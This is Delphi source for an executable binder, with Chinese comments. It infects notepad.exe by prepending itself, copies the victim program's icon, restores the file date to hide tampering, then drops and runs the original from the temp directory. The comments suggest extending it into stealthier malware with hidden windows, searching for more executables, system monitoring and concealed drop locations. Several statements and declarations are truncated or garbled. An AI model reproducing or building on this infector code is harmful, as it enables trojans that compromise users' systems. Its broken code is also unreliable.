{
**********************捆綁執行檔案**********************
**********************參考selfmodify--exe檔案自修改*****
與其它程式捆綁後,圖示為其它程式的圖示.日期不變
這個示範程式沒有form,編譯、壓縮後僅40K,運作後不長駐記憶體
如果加上隐藏的窗體,加上搜尋可執行程式的功能,加上監視系統的功能,加上 %$#@*^ 功能...
程式中幾個數字的确定:
1 在本程式編譯後用Aspack.Exe壓縮,大小為41472
2 經過分析,本程式在用Aspack.Exe壓縮後,圖示前面部分長40751,圖示資料位于從第40752位元組開始共640位元組,圖示後還有81位元組
與其它程式捆綁的過程:
本程式的前40751位元組+被捆綁程式的圖示+本程式最後81位元組+被捆綁程式全部
怎麼找到圖示的位置:
将程式的圖示設定為一個32*32的紅色塊,在程式經過編譯、壓縮後,用十六進制編輯軟體載入,查找“99 99 99”字元串即可。以後你可為程式加上其它合适的圖示。
十六進制編輯軟體:常用UltraEdit。不過我喜歡用自己的東西。
}
program exe2;
uses
classes,
Tlhelp32,
windows,
graphics,
ShellAPI,
SysUtils;
{$R *.RES}
var
lppe:TProcessEntry32;
found:boolean;
handle:THandle;
ProcessStr,ExeName:string;
WinDir:pchar;
const
MySize=41472; {!!這個值要根據編譯或壓縮後的檔案大小進行修改!!}
procedure copy2(s: string);
s1,s2,IcoStream:TMemoryStream;
File2:TFilestream;
ch:array[0..1] of char;
ss:string;
filetime,fhandle:integer;
l:integer;
File2Icon:Ticon;
begin
{若檔案s不存在}
if FileExists(s)=False then exit;
try
{若檔案不含圖示,就不捆綁}
File2Icon:=Ticon.Create;
l:=extracticon(handle,pchar(s),0);
if l=0 then
File2Icon.Free;
exit;
end
else
{提取被捆綁程式圖示}
File2Icon.Handle:=extracticon(handle,pchar(s),0);
IcoStream:=TMemoryStream.Create;
File2Icon.SaveToStream(IcoStream);
end;
{判斷檔案s中有沒有第2個程式頭'MZ'。若有,表示已經合并過}
File2:=TFilestream.Create(s,fmopenread);
if File2.Size>MySize then
File2.;
File2.Read(ch,2);
ss:=copy(ch,1,2);
if ss='MZ' then
File2.Free;
{将本檔案與檔案s合并 本檔案+s=s}
s2:=TMemoryStream.Create;
s2.loadfromfile(ExeName);
s1:=TMemoryStream.Create;
加入本程式的前部40751位元組
第40752位元組開始共640位元組為圖示資料
!!以下數字 40751,81要根據實際情況修改!!
s1.copyfrom(s2,40751);
{将圖示換為被捆綁程式圖示,圖示大小為766}
IcoStream.;
s1.CopyFrom(IcoStream,640);
IcoStream.Free;
s2.;
{加入本程式的後部81位元組}
s1.CopyFrom(s2,81);
s2.clear;
s2.loadfromfile(s);
s1.seek(s1.size,soFromBeginning);
{加入被捆綁程式全部}
s1.copyfrom(s2,s2.size);
s2.free;
{得到檔案s的日期}
fhandle:=FileOpen(s, fmOpenread);
filetime:=filegetdate(fhandle);
fileclose(fhandle);
s1.SaveToFile(s);
{恢複檔案s的日期}
fhandle:=FileOpen(s, fmOpenwrite);
filesetdate(fhandle,filetime);
s1.free;
except end;
procedure CreateFileAndRun;
s1,s2:TMemoryStream;
TempDir:pchar;
cmdstr:string;
a:integer;
Begin
s1.loadfromfile(ExeName);
if s1.Size=MySize then
s1.Free;
s1.seek(MySize,soFromBeginning);
s2.copyfrom(s1,s1.Size-MySize);
GetMem(TempDir,255);
GetTempPath(255,TempDir);
把檔案釋放到臨時目錄。
如果你不想讓人看到在這個目錄下釋放了一堆檔案,可改為其它更隐蔽的目錄,
如 c: windows(or winnt) downl...(☆這是個什麼目錄?你去研究研究吧!☆)
s2.SaveToFile(TempDir+' '+ExtractFileName(ExeName));
cmdstr:=';
a:=1;
while ParamStr(a)<>' do begin
cmdstr:=cmdstr+ParamStr(a)+' ';
inc(a);
{運作真正的程式檔案}
winexec(pchar(TempDir+' '+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);
freemem(TempDir);
GetMem(WinDir,255);
GetWindowsDirectory(WinDir,255);
ExeName:=ParamStr(0);
handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
found:=Process32First(handle,lppe);
ProcessStr:=';
while found do
ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有程序}
found:=Process32Next(handle,lppe);
{如果notepad沒運作,就與它捆在一起}
if pos(WinDir+' notepad.exe',ProcessStr)=0 then
copy2(WinDir+' notepad.exe');
{其它需要捆綁的檔案
if pos(...,ProcessStr)=0 then
copy2(...);
...
freemem(WinDir);
你想用這個程式幹點其它的什麼...
CreateFileAndRun;{釋放檔案并帶參數運作}
end.